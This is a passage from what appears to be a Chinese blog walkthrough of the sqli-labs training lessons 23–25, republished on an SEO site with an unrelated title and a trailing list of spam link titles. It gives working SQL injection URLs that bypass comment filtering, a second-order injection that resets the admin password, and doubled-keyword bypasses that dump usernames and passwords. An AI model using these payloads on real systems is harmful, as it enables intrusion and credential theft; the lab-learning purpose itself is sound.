当前位置: 首页 > wzjs >正文

公司设计网页搜索引擎优化的实验结果分析

公司设计网页,搜索引擎优化的实验结果分析,南阳网站建设费用,外贸拓客软件前言 之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢? Less23(注释符被过滤&#xff…

前言

之前的每一关,我们都是在末尾加上注释符,屏蔽后面的语句,这样我们只要闭合了区间之后,差不多就是为所欲为的状态。但如果注释符不生效的情况下,又该如何呢?

Less23(注释符被过滤)

第25关,这关分析源码,它是过滤了请求的注释符“--”和“#”,所以这里不能用注释符注释后面的语句。但对本关注入来说,不成问题。

本关是测试可知是单引号闭合:

http://localhost/sqli-labs/less-23/?id=1' or'

接着就按照Less1的套路来就可以了。测试列数:

http://localhost/sqli-labs/less-23/?id=1' union select 1'

列数不是1,经测试到3时没报错:

http://localhost/sqli-labs/less-23/?id=1' union select 1,2,3'

接下来测试是否前端可以回显:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,2,3'

测试联合注入可以回显。那么就开始爆数据库名:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,database(),3'

然后爆表:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '

爆字段:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' '

爆用户名密码:

http://localhost/sqli-labs/less-23/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users where 1='1

Less24(二次注入)

二次注入的概念,是某个地方过滤了特殊字符等,但是攻击者可以在另一个地方把带特殊字符的信息写入数据库,当某个地方需要校验时,程序从数据库读取带特殊字符的信息,可以形成sql注入。最典型的例子,就是网站注册用户时,通过输入带特殊字符的用户名或密码,到了登陆时程序匹配时被特殊字符注入。

分析源码,注入点在pass_change.php中:

如果我们在变量$username的位置闭合,那不需要检测该账号当前的密码。

进入创建新用户。创建用户是常见二次注入点。接下来创建用户名“admin'#”,密码:1。然后重新登陆:

接着随便输入当前密码,然后输入新密码为"abc"。接着logout后重新登陆时,输入admin/abc。发现admin密码已经被改为abc了。这就是二次注入。

Less25(绕过and、or)

25关在于绕过关键字and和or。页面下方的Hint会提示过滤后的情况:

http://localhost/sqli-labs/less-25/?id=1' or 1=1 %23

显然or被过滤掉了。那如何避免被过滤呢? 可以采用双写,比如说and写成aandnd,or写成oorr,这样字符串过滤时,过滤掉中间的关键字后,刚好恢复成and和or。尝试输入:

http://localhost/sqli-labs/less-25/?id=1' oorr 1=1 %23

 不过本关比较搞笑的是,我们主要是利用联合注入,所以根本不需要绕过and和or,基本上按照第一关的思路就够了:

#联合注入回显2,、3列
http://localhost/sqli-labs/less-25/?id=-1' union select 1,2,3 %23#查数据库名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,database(),3 %23#爆表名,information的or会被过滤,需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database()%23#爆列名
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' %23#爆用户名密码,password的or需要双写
http://localhost/sqli-labs/less-25/?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users %23

http://www.dtcms.com/wzjs/239829.html

相关文章:

  • 品牌平价网站建设湖南企业竞价优化
  • 网站建设与微信公众号绑定接推广怎么收费
  • 南京外贸网站建设系统新闻株洲最新
  • 招聘网站开发图片优化是什么意思
  • 南通市网站建设我的完成年s8视频加密线路
  • it在线学习网站开发可以建网站的网络公司有哪些
  • 太原在线网站建设微信小程序开发文档
  • 可以免费做网站如何开通自己的网站
  • 做哪类视频网站需要视频证书热门seo推广排名稳定
  • 做网站公司广州网址外链平台
  • 做美团一样的网站需要多少钱网址检测
  • 个人建什么网站比较好网络营销推广方案模板
  • 外贸网站推广哪家好陕西网站seo
  • 广州网站建设培训班东莞关键词优化推广
  • 网站下载app免费西安seo学院
  • 昆仑万维做网站千锋教育学费一览表
  • wordpress 4.9.1 主题河南seo技术教程
  • 做地方门户网站如何做企业微信会话内容存档
  • 网站加qq客服seo诊断分析工具
  • 柳州网站建设多少钱宣传产品的方式
  • 网站建设价格槽闸阀竞价托管哪家效果好
  • 10个国内建筑网站营销百度app下载手机版
  • 怎么介绍自己做的企业网站页面加盟网络营销推广公司
  • 哪些网站可以做微课seo广告投放
  • 做网站还是app宁波seo营销
  • 网站内容图片怎么做的sem是什么意思啊
  • 设计网站 杭州营销比较成功的品牌
  • 微商营销神器优化大师的功能有哪些
  • 网站服务器权限app拉新平台哪个好佣金高
  • 免费建设网站设计页面最新国际新闻事件